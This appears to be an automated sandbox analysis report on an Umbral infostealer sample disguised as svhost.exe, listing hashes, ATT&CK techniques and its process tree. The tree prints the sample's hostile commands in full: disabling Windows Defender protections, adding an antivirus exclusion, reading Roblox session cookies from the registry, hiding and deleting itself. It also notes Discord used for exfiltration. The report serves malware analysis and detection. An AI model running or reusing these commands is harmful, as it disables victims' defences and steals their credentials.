umbral | 578a429ed4577019ebb318eb04f3a8e3b39948896602015f2d1b38127d005b59

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
31-08-2024 14:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

svhost.exe
Size

231KB
MD5

c8a622a6ddf01f0948b526a4be7f1f4e
SHA1

ab8db69a873a6889462a08865788155e60e03be8
SHA256

578a429ed4577019ebb318eb04f3a8e3b39948896602015f2d1b38127d005b59
SHA512

5c91782a88cba4ceb0933cb4cf89b0fd3701873db41206d0bf960f5159e34148bcfbc531d46a65fe30f2fdc468b60a85fb3cdf3cd33e85f49364efa6c2e00b01
SSDEEP

6144:RloZMcrIkd8g+EtXHkv/iD4ixKClu8e1mwi:joZDL+EP80+4

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2772-1-0x0000000001150000-0x0000000001190000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe
664	powershell.exe
1284	powershell.exe
2564	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	svhost.exe

Deletes itself 1 IoCs

pid	Process
2456	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2456	cmd.exe
1944	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2552	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1944	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2772	svhost.exe
2564	powershell.exe
2984	powershell.exe
664	powershell.exe
2192	powershell.exe
1284	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	svhost.exe
Token: SeIncreaseQuotaPrivilege	2240	wmic.exe
Token: SeSecurityPrivilege	2240	wmic.exe
Token: SeTakeOwnershipPrivilege	2240	wmic.exe
Token: SeLoadDriverPrivilege	2240	wmic.exe
Token: SeSystemProfilePrivilege	2240	wmic.exe
Token: SeSystemtimePrivilege	2240	wmic.exe
Token: SeProfSingleProcessPrivilege	2240	wmic.exe
Token: SeIncBasePriorityPrivilege	2240	wmic.exe
Token: SeCreatePagefilePrivilege	2240	wmic.exe
Token: SeBackupPrivilege	2240	wmic.exe
Token: SeRestorePrivilege	2240	wmic.exe
Token: SeShutdownPrivilege	2240	wmic.exe
Token: SeDebugPrivilege	2240	wmic.exe
Token: SeSystemEnvironmentPrivilege	2240	wmic.exe
Token: SeRemoteShutdownPrivilege	2240	wmic.exe
Token: SeUndockPrivilege	2240	wmic.exe
Token: SeManageVolumePrivilege	2240	wmic.exe
Token: 33	2240	wmic.exe
Token: 34	2240	wmic.exe
Token: 35	2240	wmic.exe
Token: SeIncreaseQuotaPrivilege	2240	wmic.exe
Token: SeSecurityPrivilege	2240	wmic.exe
Token: SeTakeOwnershipPrivilege	2240	wmic.exe
Token: SeLoadDriverPrivilege	2240	wmic.exe
Token: SeSystemProfilePrivilege	2240	wmic.exe
Token: SeSystemtimePrivilege	2240	wmic.exe
Token: SeProfSingleProcessPrivilege	2240	wmic.exe
Token: SeIncBasePriorityPrivilege	2240	wmic.exe
Token: SeCreatePagefilePrivilege	2240	wmic.exe
Token: SeBackupPrivilege	2240	wmic.exe
Token: SeRestorePrivilege	2240	wmic.exe
Token: SeShutdownPrivilege	2240	wmic.exe
Token: SeDebugPrivilege	2240	wmic.exe
Token: SeSystemEnvironmentPrivilege	2240	wmic.exe
Token: SeRemoteShutdownPrivilege	2240	wmic.exe
Token: SeUndockPrivilege	2240	wmic.exe
Token: SeManageVolumePrivilege	2240	wmic.exe
Token: 33	2240	wmic.exe
Token: 34	2240	wmic.exe
Token: 35	2240	wmic.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	664	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeIncreaseQuotaPrivilege	2112	wmic.exe
Token: SeSecurityPrivilege	2112	wmic.exe
Token: SeTakeOwnershipPrivilege	2112	wmic.exe
Token: SeLoadDriverPrivilege	2112	wmic.exe
Token: SeSystemProfilePrivilege	2112	wmic.exe
Token: SeSystemtimePrivilege	2112	wmic.exe
Token: SeProfSingleProcessPrivilege	2112	wmic.exe
Token: SeIncBasePriorityPrivilege	2112	wmic.exe
Token: SeCreatePagefilePrivilege	2112	wmic.exe
Token: SeBackupPrivilege	2112	wmic.exe
Token: SeRestorePrivilege	2112	wmic.exe
Token: SeShutdownPrivilege	2112	wmic.exe
Token: SeDebugPrivilege	2112	wmic.exe
Token: SeSystemEnvironmentPrivilege	2112	wmic.exe
Token: SeRemoteShutdownPrivilege	2112	wmic.exe
Token: SeUndockPrivilege	2112	wmic.exe
Token: SeManageVolumePrivilege	2112	wmic.exe
Token: 33	2112	wmic.exe
Token: 34	2112	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 2240	2772	svhost.exe	30
PID 2772 wrote to memory of 2240	2772	svhost.exe	30
PID 2772 wrote to memory of 2240	2772	svhost.exe	30
PID 2772 wrote to memory of 1916	2772	svhost.exe	33
PID 2772 wrote to memory of 1916	2772	svhost.exe	33
PID 2772 wrote to memory of 1916	2772	svhost.exe	33
PID 2772 wrote to memory of 2564	2772	svhost.exe	35
PID 2772 wrote to memory of 2564	2772	svhost.exe	35
PID 2772 wrote to memory of 2564	2772	svhost.exe	35
PID 2772 wrote to memory of 2984	2772	svhost.exe	37
PID 2772 wrote to memory of 2984	2772	svhost.exe	37
PID 2772 wrote to memory of 2984	2772	svhost.exe	37
PID 2772 wrote to memory of 664	2772	svhost.exe	39
PID 2772 wrote to memory of 664	2772	svhost.exe	39
PID 2772 wrote to memory of 664	2772	svhost.exe	39
PID 2772 wrote to memory of 2192	2772	svhost.exe	41
PID 2772 wrote to memory of 2192	2772	svhost.exe	41
PID 2772 wrote to memory of 2192	2772	svhost.exe	41
PID 2772 wrote to memory of 2112	2772	svhost.exe	43
PID 2772 wrote to memory of 2112	2772	svhost.exe	43
PID 2772 wrote to memory of 2112	2772	svhost.exe	43
PID 2772 wrote to memory of 1204	2772	svhost.exe	45
PID 2772 wrote to memory of 1204	2772	svhost.exe	45
PID 2772 wrote to memory of 1204	2772	svhost.exe	45
PID 2772 wrote to memory of 2556	2772	svhost.exe	47
PID 2772 wrote to memory of 2556	2772	svhost.exe	47
PID 2772 wrote to memory of 2556	2772	svhost.exe	47
PID 2772 wrote to memory of 1284	2772	svhost.exe	49
PID 2772 wrote to memory of 1284	2772	svhost.exe	49
PID 2772 wrote to memory of 1284	2772	svhost.exe	49
PID 2772 wrote to memory of 2552	2772	svhost.exe	51
PID 2772 wrote to memory of 2552	2772	svhost.exe	51
PID 2772 wrote to memory of 2552	2772	svhost.exe	51
PID 2772 wrote to memory of 2456	2772	svhost.exe	53
PID 2772 wrote to memory of 2456	2772	svhost.exe	53
PID 2772 wrote to memory of 2456	2772	svhost.exe	53
PID 2456 wrote to memory of 1944	2456	cmd.exe	55
PID 2456 wrote to memory of 1944	2456	cmd.exe	55
PID 2456 wrote to memory of 1944	2456	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1916	attrib.exe

C:\Users\Admin\AppData\Local\Temp\svhost.exe
"C:\Users\Admin\AppData\Local\Temp\svhost.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2240
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\svhost.exe"
  2⤵
  - Views/modifies file attributes
  PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svhost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1204
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1284
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2552
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\svhost.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
002811579b6605da51f687626b35eb82

SHA1
be80a2511166e49b910ebbfd1ff883d767f8062c

SHA256
03a7a82318bf0f909abb0a444854ddddfe1952c435665a267f83ee0d53fce197

SHA512
20f6226f76040369dcf8dcb2ec45e8ecda5d531a3a2fa7ed1c6093aa4b2ba263ca1f2a3e183594c74edd5cba6fa0dcb79136ad443f12c0eb5d0e384ed7cf5f76

Download Submit
memory/1284-40-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2564-7-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2564-8-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2772-0-0x000007FEF5AC3000-0x000007FEF5AC4000-memory.dmp

Filesize
4KB

Download
memory/2772-1-0x0000000001150000-0x0000000001190000-memory.dmp

Filesize
256KB

Download
memory/2772-2-0x000007FEF5AC0000-0x000007FEF64AC000-memory.dmp

Filesize
9.9MB

Download
memory/2772-44-0x000007FEF5AC0000-0x000007FEF64AC000-memory.dmp

Filesize
9.9MB

Download
memory/2984-14-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2984-15-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download